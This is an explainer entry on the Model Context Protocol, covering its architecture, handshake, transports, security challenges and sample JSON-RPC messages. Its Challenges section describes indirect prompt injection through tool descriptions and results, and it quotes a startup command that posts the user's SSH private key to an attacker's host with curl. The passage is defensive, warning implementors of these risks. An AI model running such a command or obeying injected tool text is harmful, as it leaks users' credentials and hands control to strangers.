Definition
The Model Context Protocol (MCP) is an open standard that lets any AI application reach any external tool or data source through one interface, so a connector written once works in every client that speaks it. An MCP server is the concrete unit: a program that advertises a list of named operations — each with a JSON Schema describing its arguments — and answers requests to run them over JSON-RPC 2.0.
The argument for a protocol here is arithmetic, which is why it has not aged. Before one existed, every AI client needed a bespoke integration with every system: 6 clients wanting to reach 20 systems meant 6 × 20 = 120 separate connectors, each written, tested and maintained by somebody. A shared protocol turns that product into a sum — 6 client implementations plus 20 servers is 26 pieces of code, a 4.6× reduction. And the saving grows with the catalogue, because M×N ÷ (M+N) tends toward M as N gets large. Anthropic reported more than 10,000 active public MCP servers one year after launch; six major clients against 10,000 systems would be 60,000 hand-built connectors the old way, versus 10,006 with a protocol — very nearly the six-fold saving the limit predicts.
MCP was open-sourced by Anthropic on 25 November 2024, created there by David Soria Parra and Justin Spahr-Summers, and donated to the Agentic AI Foundation under the Linux Foundation on 9 December 2025. It is not a feature of one model and not a vendor API. It is a versioned specification with a published TypeScript schema; revisions are dated rather than numbered. The current released revision is 2025-11-25, though a much larger successor, 2026-07-28, was in release candidate as of July 2026.
How It Works
MCP names three roles, and confusing them is the most common way to misread the architecture. The host is the AI application the user sits in front of — Claude Desktop, Claude Code, Cursor, VS Code. Inside the host runs one client per connection, each holding exactly one session with one server. So a user with five MCP servers configured has one host, five clients and five servers. The specification takes its cue from the Language Server Protocol, which did the same thing for editors and programming languages.
Every message is JSON-RPC 2.0, UTF-8 encoded, over a stateful session. Nothing may be used before it has been agreed, which is the job of the opening handshake.
The initialize handshake
The client must open with an initialize request carrying the protocol version it wants, its own capabilities, and its implementation name and version. The server must reply with a version and its own capabilities, and the client then sends a notifications/initialized notification before normal traffic begins. Version negotiation is deliberately blunt: if the server supports the requested date-stamped revision it must echo it back; otherwise it replies with the latest one it does support, and a client that cannot speak that should disconnect. Over HTTP the negotiated version has to ride on every subsequent request as an MCP-Protocol-Version header — and if a server never sees that header, the spec tells it to assume 2025-03-26, which is a small piece of archaeology baked permanently into the standard.
Capability negotiation is what makes the protocol survivable across versions. A server declares which of tools, resources, prompts, logging, completions and tasks it offers; a client declares roots, sampling, elicitation and tasks. Sub-capabilities refine that — listChanged says the party will notify when its list changes, and subscribe (resources only) says individual items can be watched. Both sides must then use only what was negotiated, so an old client and a new server can talk without either pretending to be the other.
Three primitives, distinguished by who is in control
A server can offer three kinds of thing, and the useful way to tell them apart is not what they contain but who decides to use them.
- Tools are model-controlled.
tools/listreturns each tool'sname, human-readabledescriptionandinputSchema— a JSON Schema (dialect 2020-12 by default) for the arguments. The model picks one; the client sendstools/callwith a name and arguments; the server returnscontentblocks that may be text, images, audio, links to resources or embedded resources, plus optionalstructuredContentvalidated against anoutputSchema. - Resources are application-driven. Each is identified by a URI —
file://,git://,https://or a custom scheme — and the host decides what to pull into context.resources/listenumerates them,resources/readfetches contents, and where the server supports it,resources/subscribeplus anotifications/resources/updatedmessage keeps a watched file current. - Prompts are user-controlled.
prompts/listandprompts/getreturn a ready-made message array with the user's arguments filled in. Hosts typically surface them as slash commands, which is why they feel like a feature of the app rather than of the server.
The connection is not one-way. A server may call back into the client: sampling asks the host's model for a completion, roots asks which filesystem boundaries the server is allowed to work within, and elicitation asks the user a question in the middle of a tool call. Only clients that declared those capabilities receive such requests.
Two transports
With stdio, the client launches the server as a child process and they exchange newline-delimited JSON on stdin and stdout. Messages must not contain embedded newlines, and the server must not write anything to stdout that is not a valid MCP message — which is why a stray print() left in a Python server breaks the session outright, while stderr remains free for logging. Clients should support stdio whenever possible.
With Streamable HTTP, the server is an independent process exposing one endpoint that accepts both POST and GET. A POST carries a single JSON-RPC message; the server answers either with application/json or by opening a Server-Sent Events stream, and the client must handle both. A GET opens a stream for server-initiated messages. Servers may issue an MCP-Session-Id header at initialization, after which the client must return it on every request, and a broken stream can be resumed by re-issuing the GET with Last-Event-ID. This transport replaced the HTTP+SSE design of the original 2024-11-05 revision. Custom transports are permitted provided they preserve the JSON-RPC message format and the lifecycle.
Errors arrive on two channels, and the split matters for how AI agents recover. Protocol errors are standard JSON-RPC failures — -32602 for an unknown tool or malformed request, -32002 for a resource that does not exist, -32603 for an internal fault. Tool execution errors are ordinary successful responses carrying isError: true and an explanatory message. The 2025-11-25 revision clarified that input-validation failures belong in the second category precisely so the model can read the complaint and retry with better arguments.
Real-World Applications
The reference implementation repository ships seven servers that exist mainly to be read: filesystem, git, fetch, memory, sequentialthinking, time and everything — the last being a test server that exercises every feature of the protocol at once. They are the fastest way to see how small a working server is.
The best-known production example is GitHub's own MCP server, which the company maintains and also hosts as a remote endpoint at api.githubcopilot.com/mcp. It exposes roughly 90 tools grouped into 21 toolsets — repositories, issues, pull requests, Actions, code scanning, Dependabot, discussions, projects and more — and lets an operator enable only the groups they need. Sentry publishes a server for querying issues and traces; Cloudflare maintains a set for its platform. An official registry at registry.modelcontextprotocol.io exists so clients can discover servers rather than trade config snippets.
On the client side, Anthropic's December 2025 announcement lists MCP support in ChatGPT, Cursor, Gemini, Microsoft Copilot and Visual Studio Code alongside Claude, and notes that Claude's own connector directory then held over 75 connectors, all powered by MCP. At launch a year earlier the named adopters were Block and Apollo, with Zed, Replit, Codeium and Sourcegraph building on it in developer tools; the pre-built servers shipped that day covered Google Drive, Slack, GitHub, Git, Postgres and Puppeteer. That trajectory — from six demo connectors to a five-figure public catalogue — is the practical case for standardising the interface rather than the integrations.
Key Concepts
- Roles are not interchangeable: a single host runs one client per connection, each owning exactly one server session. "MCP client" is not a synonym for "the app"; it is the connector inside it.
- Capability negotiation: the handshake decides what exists for this session. A feature that was not declared cannot be used, which is how a
2025-03-26client and a2025-11-25server still hold a conversation. - Dated revisions:
2024-11-05,2025-03-26,2025-06-18,2025-11-25. There is no semantic version, so "MCP 1.0" is not a thing and a claim about "the latest MCP" needs a date to be checkable. - Model-controlled versus user-controlled: tools are chosen by the model, prompts by the person, resources by the application. Reading a server's surface through that lens tells you who can trigger what.
- Not a REST API: both transports carry a stateful session beginning at
initialize. That is what makeslistChangednotifications and subscriptions possible, and also what makes serverless deployment awkward.
Challenges
The most important thing to understand about MCP is what it does not do: it standardises connection, not trust. The specification says so directly — MCP cannot enforce its security principles at the protocol level, and every safeguard is left to the implementor. That single sentence is the source of nearly every problem below.
A tool description is untrusted text with a direct line into the model's context. tools/list returns prose written by whoever wrote the server, and the client hands that prose to the model as instructions about what the tool does. Nothing in the protocol verifies that the description matches the behaviour, which is why the spec requires clients to treat tool annotations as untrusted unless the server itself is trusted. Worse, a server that declared listChanged can push notifications/tools/list_changed mid-session and swap its tool set — so the tools a user approved at connect time are not necessarily the tools running an hour later.
Returned content is untrusted in the same way, and there is more of it — this is prompt injection arriving through the tool layer. A resources/read on a repository file, or a tool result summarising a bug report, drops text written by strangers into the context window next to the user's instructions. The protocol faithfully carries the bytes; it has no mechanism for labelling them as data rather than instruction. This is ordinary indirect prompt injection, and MCP widens the aperture by making it trivial to connect more sources.
Permissions are usually far broader than the task. The spec's own guidance on scope minimisation describes the failure precisely: a server publishes every scope it might ever want in scopes_supported, the client requests them all at connect time, and a token carrying files:*, db:* and admin:* is now sitting in a log or a config file. The fix — a minimal baseline scope with incremental elevation via WWW-Authenticate challenges — is in the standard, but nothing forces anyone to implement it. Two related anti-patterns are explicitly forbidden: servers must not accept tokens that were not issued for them (token passthrough), and proxy servers must implement their own per-client consent or they become a confused deputy, handing an attacker's dynamically registered client a valid authorization code because a consent cookie from an earlier, legitimate session skipped the prompt.
A local server is a program running as you. stdio servers are binaries launched on the user's machine with the client's privileges. The specification illustrates the risk with a startup command that quietly does curl -X POST -d @~/.ssh/id_rsa to an attacker's host, and requires one-click install flows to show the exact command, untruncated, before executing it. Local HTTP servers add DNS rebinding: unless the server validates the Origin header, answers a bad one with 403, and binds to 127.0.0.1 rather than 0.0.0.0, a web page you visit can talk to it.
Tool definitions are not free. Every tool's name, description and JSON Schema occupies the context window before the user has typed anything. GitHub's server alone carries about 90 tools, and its documentation recommends enabling only the toolsets you need specifically to help tool choice and reduce context size. Connect four servers of that size and several hundred schemas are competing for the model's attention, which degrades selection accuracy and costs tokens on every turn. Anthropic shipped Tool Search and Programmatic Tool Calling in its API for exactly this problem.
The spec moves. Four dated revisions shipped between November 2024 and November 2025, and one of them replaced the HTTP transport outright. The pace is not fixed: the next revision, 2026-07-28, came roughly eight months after 2025-11-25 and was still a release candidate as of July 2026 — but it is the largest change since launch, removing the initialize handshake and the per-connection session model that the rest of this page describes. That churn is the price of a young standard, and it lands on server authors as maintenance.
Set against the alternatives the glossary already documents, the trade is clear enough. Function calling alone is safer because the tool list is compiled into your application and cannot change underneath you — but it gives you no discovery, no reuse across clients, and a fresh integration per model vendor. A plain API has neither a uniform description of what is callable nor a convention for returning model-ready content. And MCP is not a competitor to Agent2Agent — which since absorbing IBM's Agent Communication Protocol in August 2025 is the one agent-to-agent standard: it connects autonomous agents to each other, where MCP connects one agent to its tools, and a fuller comparison is here.
Future Trends
Neutral governance is now the fact on the ground. The December 2025 donation put MCP under the Agentic AI Foundation, a directed fund of the Linux Foundation co-founded by Anthropic, Block and OpenAI with support from Google, Microsoft, AWS, Cloudflare and Bloomberg. The maintainers and the community SEP process carry on unchanged; what changed is that no single vendor can now move the specification alone. For anyone deciding whether to build on it, that is the substantive difference between MCP and a vendor plugin format.
Authorization is where the specification is spending its effort. The 2025-11-25 revision added OpenID Connect Discovery for finding the authorization server, incremental scope consent through WWW-Authenticate challenges, OAuth Client ID Metadata Documents as the recommended registration mechanism, and alignment with RFC 9728 for protected-resource metadata. Read as a group, these are all steps toward least privilege by default rather than a broad token granted at connect time.
Long-running work is being made first-class. The same revision introduced experimental tasks: durable requests that a client can poll, with results retrieved later. Support is negotiated per tool through an execution.taskSupport field whose values are forbidden (the default), optional or required. This matters for tools that take minutes rather than milliseconds — builds, migrations, deep research — which currently sit awkwardly inside a request timeout.
Servers are gaining agency. Sampling now accepts tools and toolChoice parameters, meaning a server can ask the host's model to make tool calls on its behalf. Combined with elicitation, that turns a server from a passive endpoint into something closer to a participant, and pushes MCP toward the territory of multi-agent systems and agentic workflows.
Scale is the live engineering problem. With a five-figure public catalogue and enterprises running dozens of servers, discovery and tool-count management have replaced basic connectivity as the hard part — hence the official registry, the toolset flags, and the server-side tool-search features appearing in model APIs.
Code Example
What actually goes over the wire is short enough to read. Every example below is taken from the 2025-11-25 specification. The client opens by declaring the revision it wants and what it can do:
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-11-25",
"capabilities": {
"roots": { "listChanged": true },
"sampling": {}
},
"clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
}
}
}
The server answers with the same shape, listing what it offers. Here it has tools, prompts and subscribable resources, and it can emit log messages:
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2025-11-25",
"capabilities": {
"logging": {},
"prompts": { "listChanged": true },
"resources": { "subscribe": true, "listChanged": true },
"tools": { "listChanged": true }
},
"serverInfo": {
"name": "ExampleServer",
"version": "1.0.0"
},
"instructions": "Optional instructions for the client"
}
}
The client confirms with a notification, which has no id because no reply is expected:
{
"jsonrpc": "2.0",
"method": "notifications/initialized"
}
Only now can it ask what the server can do. A tools/list response is the tool definition the model will actually see — a name, a description in plain English, and a JSON Schema for the arguments:
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"tools": [
{
"name": "get_weather",
"title": "Weather Information Provider",
"description": "Get current weather information for a location",
"inputSchema": {
"type": "object",
"properties": {
"location": {
"type": "string",
"description": "City name or zip code"
}
},
"required": ["location"]
}
}
]
}
}
Invocation is one more message each way. Note that the result is a list of content blocks rather than a bare value, because a tool may return text, an image and a link to a resource in the same response:
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": { "location": "New York" }
}
}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"content": [
{
"type": "text",
"text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy"
}
],
"isError": false
}
}
That is the whole protocol in miniature: negotiate, discover, call. Everything else — resources, prompts, sampling, sessions, OAuth — is more messages of the same form. If a server of your own refuses to get past the handshake, the MCP connection checklist walks through the usual causes.